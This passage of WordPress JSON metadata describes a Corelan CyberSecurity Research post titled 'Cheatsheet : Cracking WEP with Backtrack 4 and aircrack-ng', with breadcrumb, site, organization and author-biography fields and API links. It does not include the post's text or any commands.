Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"datePublished":"2009-02-20T01:34:16+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":148080,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/1554","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=1554"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/1554\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=1554"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=1554"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=1554"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}